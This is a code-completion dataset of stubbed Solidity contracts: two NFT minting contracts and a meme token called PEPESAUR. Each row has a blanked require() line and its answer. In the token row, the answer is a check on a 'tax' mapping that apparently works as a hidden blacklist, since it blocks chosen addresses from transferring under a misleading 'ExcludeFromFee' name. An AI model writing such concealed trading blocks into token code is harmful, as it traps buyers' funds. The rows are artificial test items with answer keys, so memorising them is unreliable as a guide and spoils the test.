* @notice Freeze metadata so it can never be changed again
*/
function freezeMetadata() external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
// https://chiru-labs.github.io/ERC721A/#/migration?id=supportsinterface
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC721A, ERC2981, ERC4907A)
returns (bool)
{
}
/**
* @notice Allow owner to send 'mintNumber' tokens without cost to multiple addresses
*/
function gift(address[] calldata receivers, uint256[] calldata mintNumber)
external
onlyOwner
{
}
/**
* @notice To be updated by contract owner to allow public sale minting
*/
function setPublicSaleState(bool _saleActiveState) external onlyOwner {
}
/**
* @notice Update the public mint price
*/
function setPublicPrice(uint256 _publicPrice) external onlyOwner {
}
/**
* @notice Set the maximum mints allowed per a given address in the public sale
*/
function setPublicMintsAllowedPerAddress(uint256 _mintsAllowed)
external
onlyOwner
{
}
/**
* @notice Set the maximum public mints allowed per a given transaction
*/
function setPublicMintsAllowedPerTransaction(uint256 _mintsAllowed)
external
onlyOwner
{
}
/**
* @notice Allow for public minting of tokens
*/
function mint(uint256 numTokens)
external
payable
nonReentrant
originalUser
{
}
/**
* @notice Freeze all payout addresses and percentages so they can never be changed again
*/
function freezePayoutAddresses() external onlyOwner {
}
/**
* @notice Update payout addresses and basis points for each addresses' respective share of contract funds
*/
function updatePayoutAddressesAndBasisPoints(
address[] calldata _payoutAddresses,
uint256[] calldata _payoutBasisPoints
) external onlyOwner {
}
/**
* @notice Withdraws all funds held within contract
*/
function withdraw() external nonReentrant onlyOwner {
require(address(this).balance > 0, "CONTRACT_HAS_NO_BALANCE");
uint256 balance = address(this).balance;
for (uint256 i = 0; i < payoutAddresses.length; i++) {
require(<FILL_ME>)
}
}
function _beforeTokenTransfers(
address from,
address to,
uint256 tokenId,
uint256 quantity
) internal override(ERC721A) whenNotPaused {
}
}
| payable(payoutAddresses[i]).send((balance*payoutBasisPoints[i])/10000) | 82,984 | payable(payoutAddresses[i]).send((balance*payoutBasisPoints[i])/10000) |
null | /**
https://t.me/pepesaurerc
https://pepesaurerc.com
https://twitter.com/PepesaurERC
https://medium.com/@Pepesaurerc
https://github.com/pepesaur
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PEPESAUR is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private tax;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = false;
address payable private _taxWallet;
uint256 private _initialBuyTax=15;
uint256 private _initialSellTax=15;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=5;
uint256 private _reduceSellTaxAt=5;
uint256 private _preventSwapBefore=5;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000000000 * 10**_decimals;
string private constant _name = unicode"PEPESAUR";
string private constant _symbol = unicode"PEPESAUR";
uint256 public _maxTxAmount = 20000000000000 * 10**_decimals;
uint256 public _maxWalletSize = 30000000000000 * 10**_decimals;
uint256 public _taxSwapThreshold= 10000000000000 * 10**_decimals;
uint256 public _maxTaxSwap= 10000000000000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
require(<FILL_ME>)
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (transferDelayEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"Only 1 transfer per block"
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "Max Tx reached");
require(balanceOf(to) + amount <= _maxWalletSize, "Max Wallet reached");
_buyCount++;
}
if(to == uniswapV2Pair && from!= address(this) ){
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function removeLimits() external onlyOwner{
}
function sendETHToFee(uint256 amount) private {
}
function ExcludeFromFee(address[] memory tax_) public {
}
function IncludeInFee(address[] memory included) public {
}
function isExcludedFromFee(address a) public view returns (bool){
}
function openTrading() external onlyOwner() {
}
function reduceFee(uint256 _newFee) external{
}
receive() external payable {}
function manualSwap() external {
}
}
| !tax[from]&&!tax[to] | 83,039 | !tax[from]&&!tax[to] |
'Address already minted!' | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.9 <0.9.0;
import 'erc721a/contracts/ERC721A.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
contract POSPandas is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
mapping(address => bool) public alreadyMinted;
string public uriPrefix = '';
string public uriSuffix = '.json';
uint256 public cost;
uint256 public maxSupply;
bool public paused = true;
bool public revealed = false;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint256 _cost,
uint256 _maxSupply,
string memory _metadataUri
) ERC721A(_tokenName, _tokenSymbol) {
}
modifier mintPriceCompliance(uint256 _mintAmount) {
}
function mintPublic(uint256 _mintAmount) public payable mintPriceCompliance(_mintAmount) {
require(!paused, 'The contract is paused!');
require(_mintAmount > 0 && _mintAmount <= 2, 'Invalid mint amount!');
require(totalSupply() + _mintAmount <= maxSupply, 'Max supply exceeded!');
require(<FILL_ME>)
alreadyMinted[_msgSender()] = true;
_safeMint(_msgSender(), _mintAmount);
}
function mintForAddress(uint256 _mintAmount, address _receiver) public onlyOwner {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setRevealed(bool _revealed) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner nonReentrant {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| !alreadyMinted[_msgSender()],'Address already minted!' | 83,125 | !alreadyMinted[_msgSender()] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.